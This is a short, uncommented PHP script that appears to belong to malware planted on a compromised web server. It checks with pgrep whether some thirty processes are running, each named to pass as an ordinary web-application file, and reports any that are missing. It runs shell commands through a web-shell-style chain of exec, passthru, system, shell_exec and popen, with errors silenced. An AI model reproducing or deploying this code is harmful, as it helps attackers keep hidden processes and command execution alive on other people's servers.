<?php   $files = ['gzip_compression','mygroupperm','beginedit5','viewonline_ap','validator.class','workshop1','PostgreSQLStore','tbl_indexes.lib','admin_enc_zend','HTML_toolbar','sysinfo_system','cust_add','form_edit.inc','editOnePic','badword.class','profileinfo','newsfeeds','cachefix','googleresponse','open_issues','gd.thumbnail.inc','usergroup_7','rvsMasterCompoDB','product_listing3','help_attachments','index.1317078588','pur_detail','analytics','pmd_relation_upd','theme_slideshow']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }